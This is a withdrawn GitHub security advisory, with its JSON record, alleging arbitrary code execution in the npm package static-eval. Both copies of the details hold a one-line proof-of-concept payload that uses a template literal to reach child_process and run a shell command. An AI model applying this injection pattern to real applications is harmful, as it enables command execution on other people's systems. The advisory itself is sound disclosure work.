GHSA-8V27-2FG9-7H62

Vulnerability from github – Published: 2021-05-06 16:11 – Updated: 2021-05-06 16:12
VLAI?
Summary
Withdrawn: Arbitrary Code Execution in static-eval
Details

All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)

WITHDRAWN

This was deemed not a vulnerability. See this issue for details.

Severity ?
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "static-eval"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-23334"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-18T23:01:14Z",
    "nvd_published_at": "2021-02-11T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require(\u0027static-eval\u0027); var parse = require(\u0027esprima\u0027).parse; var src=\"(function (x) { return ${eval(\"console.log(global.process.mainModule.constructor._load(\u0027child_process\u0027).execSync(\u0027ls\u0027).toString())\")} })()\" var ast = parse(src).body[0].expression; evaluate(ast)\n\n# WITHDRAWN\n\nThis was deemed not a vulnerability. See [this issue](https://github.com/browserify/static-eval/issues/34) for details.",
  "id": "GHSA-8v27-2fg9-7h62",
  "modified": "2021-05-06T16:12:57Z",
  "published": "2021-05-06T16:11:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23334"
    },
    {
      "type": "WEB",
      "url": "https://github.com/browserify/static-eval/blob/master/index.js%23L180"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Withdrawn: Arbitrary Code Execution in static-eval",
  "withdrawn": "2021-05-04T20:26:20Z"
}


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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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